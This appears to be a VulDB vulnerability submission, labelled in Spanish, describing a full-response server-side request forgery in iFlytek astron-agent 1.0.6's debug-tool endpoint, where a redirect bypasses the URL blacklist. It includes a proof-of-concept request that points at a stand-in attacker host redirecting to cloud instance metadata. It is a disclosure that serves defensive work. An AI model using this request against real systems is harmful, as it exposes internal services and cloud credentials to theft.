| Título | iFlytek astron-agent 1.0.6 Server-Side Request Forgery |
|---|
| Descripción | astron-agent 1.0.6 contains a full-response server-side request forgery vulnerability in the debugToolV2 API endpoint.
The affected endpoint is POST /debug-tool. Any authenticated user can call this endpoint because the related
permission configuration allows all roles. When the request body sets id to null, the backend skips the plugin
ownership/database validation path and directly processes the user-controlled endPoint value.
The Java layer calls UrlCheckTool.checkUrl() before forwarding the request, but the redirect validation is incomplete.
The blacklist logic validates the original URL and at most one 301/302/303 redirect target. It does not validate
multi-hop redirect chains and does not handle 307/308 redirects. The actual request is later executed by the Python
Link layer, where aiohttp follows redirects by default, including 307/308. As a result, an attacker can provide an
allowed external URL that redirects to an internal network address and bypass the Java-side blacklist.
The Python execution layer performs the real HTTP request and returns the response body to the caller. If the response
is not valid JSON, the raw response string is returned. This makes the SSRF full-response SSRF rather than blind SSRF.
A proof-of-concept request is:
POST /debug-tool HTTP/1.1
Content-Type: application/json
Authorization: Bearer <valid_jwt>
{
"id": null,
"endPoint": "http://attacker.example.com/ssrf-entry",
"method": "GET",
"webSchema": "{\"toolRequestInput\": []}",
"authType": 0
}
The attacker-controlled endpoint can return a 307/308 redirect to an internal target such as
http://x.x.x.x/latest/meta-data/. The Python execution layer follows the redirect and returns the internal
service response to the attacker.
Impact includes internal host and port probing, reading cloud instance metadata, and sending attacker-controlled
headers/body to internal services.
The vulnerability was reported publicly in GitHub issue #1323 on May 15, 2026. The vendor project addressed the issue
in pull request #1338 by preventing unsafe tool debug redirects. |
|---|
| Fuente | ⚠️ https://github.com/iflytek/astron-agent/issues/1323 |
|---|
| Usuario | T-Chachamaru (UID 99844) |
|---|
| Sumisión | 2026-08-30 10:19 (hace 24 días) |
|---|
| Moderación | 2026-09-22 19:23 (23 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 408552 [iFlytek astron-agent hasta 1.0.6 debugToolV2 API endpoint UrlCheckTool.checkUrl endPoint escalada de privilegios] |
|---|
| Puntos | 20 |
|---|